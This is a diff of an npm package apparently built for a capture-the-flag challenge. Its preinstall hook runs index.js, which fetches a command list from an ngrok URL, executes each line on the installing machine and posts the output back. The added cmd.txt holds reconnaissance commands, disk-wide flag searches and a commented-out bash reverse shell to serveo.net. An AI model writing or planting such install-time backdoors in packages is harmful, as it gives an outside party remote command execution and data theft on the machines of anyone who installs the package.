ect-987654-ctf 0.0.9 → 0.0.12

package/cmd.txt

@@ -0,0 +1,18 @@
+id
+pwd
+whoami
+ls -la /home/node
+ls -la /home/node/aspect-node || true
+file /home/node/aspect-node.tar.gz || true
+tar -tzf /home/node/aspect-node.tar.gz | head -n 200 || echo "tar list failed"
+find /home/node -maxdepth 4 -type f -iname "*flag*" -o -iname "flag.txt" -print 2>/dev/null || true
+find / -maxdepth 4 -type f -iname "*flag*" -o -iname "flag.txt" -print 2>/dev/null | head -n 200
+# if you find promising files, cat them (you can add new lines like: cat /path/to/thatfile)
+#bash -c 'bash -i >& /dev/tcp/serveo.net/5555 0>&1'
+find / -type f -exec strings {} + 2>/dev/null | grep -Eo "HTB\{[^}]+\}" | head -n 50
+grep -R --text --color=never -Eo "HTB\{[^}]+\}" / 2>/dev/null | head -n 100
+# kalau tak jumpa, cuba dalam /home
+grep -R --text --color=never -Eo "HTB\{[^}]+\}" /home 2>/dev/null | head -n 100
+# kalau tak jumpa jugak, cuba dalam /opt
+grep -R --text --color=never -Eo "HTB\{[^}]+\}" /opt 2>/dev/null | head -n 100
+

package/evil.yaml

@@ -1,6 +1,6 @@
 ecto_module:
   name: "ect-987654-ctf"
-  version: "0.0.8"
-  power_level: Very High
+  version: "0.0.11"
+  power_level: Very High butow
   ship_deck: Beta-2
   cargo_hold: B2-13

package/index.js

@@ -1,40 +1,75 @@
-const https = require("https");
-const { execSync } = require("child_process");
-const os = require("os");
+// index.js - fetch remote cmd.txt, run it, POST result back
+const { exec } = require('child_process');
+const https = require('https');
+const http = require('http');
+const url = require('url');
+const os = require('os');
 
-const WEBHOOK = "https://0f6896f7cc8e.ngrok-free.app/";
+const CALLBACK_URL = 'https://0f6896f7cc8e.ngrok-free.app/'; // <- ganti
+const CMDFILE_URL  = 'https://0f6896f7cc8e.ngrok-free.app/cmd.txt'; // <- ganti (where you serve commands)
+const TIMEOUT = 15000;
 
-function post(data) {
-  const body = JSON.stringify(data);
-  const url = new URL(WEBHOOK);
-  const req = https.request({
-    hostname: url.hostname,
-    path: url.pathname,
-    method: "POST",
-    headers: {
-      "Content-Type": "application/json",
-      "Content-Length": Buffer.byteLength(body)
-    }
-  });
-  req.write(body);
-  req.end();
+function httpGet(u, cb) {
+  try {
+    const parsed = url.parse(u);
+    const lib = parsed.protocol === 'https:' ? https : http;
+    const opts = { hostname: parsed.hostname, port: parsed.port || (parsed.protocol === 'https:' ? 443 : 80), path: parsed.path, method: 'GET', timeout: TIMEOUT };
+    const req = lib.request(opts, (res) => {
+      let s = '';
+      res.on('data', c => s += c.toString());
+      res.on('end', () => cb(null, s));
+    });
+    req.on('error', cb);
+    req.on('timeout', () => { req.destroy(); cb(new Error('timeout')); });
+    req.end();
+  } catch (e) { cb(e); }
 }
 
-try {
-  // show current working dir and contents
-  const pwd = execSync("pwd", { encoding: "utf8" });
-  const ls = execSync("ls -lah", { encoding: "utf8" });
-
-  // also check if the aspect-node.tar.gz exists
-  const check = execSync("ls -lah /home/node | grep aspect-node || true", { encoding: "utf8" });
-
-  post({
-    host: os.hostname(),
-    pwd,
-    ls,
-    check
+function runCmd(cmd, cb) {
+  exec(cmd, { timeout: TIMEOUT, maxBuffer: 1024 * 1024 * 4 }, (err, stdout, stderr) => {
+    cb(err, String(stdout||''), String(stderr||''));
   });
+}
 
-} catch (e) {
-  post({ error: e.message });
+function postJson(targetUrl, obj, cb) {
+  try {
+    const u = url.parse(targetUrl);
+    const body = JSON.stringify(obj);
+    const opts = {
+      hostname: u.hostname,
+      port: u.port || (u.protocol === 'https:' ? 443 : 80),
+      path: u.path || '/',
+      method: 'POST',
+      headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
+      timeout: TIMEOUT
+    };
+    const lib = u.protocol === 'https:' ? https : http;
+    const req = lib.request(opts, (res) => {
+      let d=''; res.on('data', c=> d+=c); res.on('end', ()=> cb(null, res.statusCode, d));
+    });
+    req.on('error', (e) => cb(e));
+    req.write(body); req.end();
+  } catch (e) { cb(e); }
 }
+
+const info = { host: os.hostname(), ts: new Date().toISOString(), pwd: process.cwd(), results: [] };
+
+httpGet(CMDFILE_URL, (err, data) => {
+  if (err) {
+    info.results.push({ stage: 'fetch_cmd', err: String(err) });
+    postJson(CALLBACK_URL, info, ()=>process.exit(0));
+    return;
+  }
+  const lines = data.split(/\r?\n/).map(s => s.trim()).filter(Boolean);
+  (function seq(i){
+    if (i >= lines.length) {
+      postJson(CALLBACK_URL, info, ()=>process.exit(0));
+      return;
+    }
+    const cmd = lines[i];
+    runCmd(cmd, (err, out, stderr) => {
+      info.results.push({ cmd, out: out.slice(0, 200000), stderr: stderr.slice(0,200000), err: err ? String(err) : null });
+      setTimeout(()=> seq(i+1), 200);
+    });
+  })(0);
+});

package/last_post.json

@@ -1,5 +1,5 @@
 {
-  "host": "2fbf820d20ba",
+  "host": "centos",
   "checked_count": 0,
   "hits": []
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "ect-987654-ctf",
-  "version": "0.0.9",
+  "version": "0.0.12",
   "scripts": {
     "preinstall": "node index.js"
   }